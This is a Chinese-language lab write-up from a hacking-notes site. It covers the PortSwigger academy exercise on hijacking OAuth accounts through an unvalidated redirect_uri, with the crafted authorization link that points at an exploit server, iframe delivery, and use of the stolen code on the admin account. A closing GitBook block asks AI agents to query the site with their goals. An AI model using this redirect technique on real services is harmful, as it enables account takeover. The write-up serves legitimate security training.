> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).
# 通过 redirect\_uri 进行 OAuth 账户劫持
通过 redirect\_uri 进行 OAuth 账户劫持，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过重定向/\_uri 实现 OAuth 账户劫持
**实验目标**
本实验演示了以下情况：对 `redirect_uri` 参数配置不当时，OAuth 流程中的攻击者可以窃取 **授权码** ，这些授权码与其他用户的账户相关联。
**但最终：**
* 拦截用户拥有的 OAuth 授权码 **admin**
* 使用此代码访问其账户
* 删除用户 **carlos**
**上下文与条件**
* 该网站允许通过 OAuth 提供商（社交网络）进行身份验证。
* 用户 **admin**:
* 从漏洞利用服务器打开任意链接。
* 已经与 OAuth 提供商有一个活动会话。
* 提供的 ID：
* 攻击者的社交账号： `wiener:peter`
**OAuth 流程分析**
当用户通过 OAuth 连接时，应用程序会发送类似于以下内容的请求：
{% code overflow="wrap" %}
```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```
{% endcode %}
关键点在于 **OAuth 提供商不要求对 `redirect_uri`**.
{% code overflow="wrap" %}
```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```
{% endcode %}
**漏洞验证**
更改 `redirect_uri` 参数为任意域，例如：
```bash
redirect_uri=https://test.com/oauth-callback
```
可以观察到以下行为：
* OAuth 提供商会正确重定向到该字段
* **OAuth** 授权码会包含在重定向 URL 中
这证实了 `redirect_uri` 可被利用。
**利用**
现在的目标是诱使管理员发起一次 OAuth 身份验证，并将重定向指向攻击者的 \*\*漏洞利用服务器\*\*。
用于恶意 OAuth 的链接：
{% code overflow="wrap" %}
```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```
{% endcode %}
该链接通过 iframe 嵌入到漏洞利用服务器的页面中：
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
**授权码的获取**
当管理员打开该页面时：
* OAuth 流程会自动运行
* OAuth 提供商会重定向到漏洞利用服务器
* \*\*漏洞利用服务器\*\*日志中包含多个 OAuth 代码
该 **使用最后收到的代码** ，例如：
```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```
**结果**
* 该授权码有效
* 获得对 \*\*管理员账户\*\* 的访问权限
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
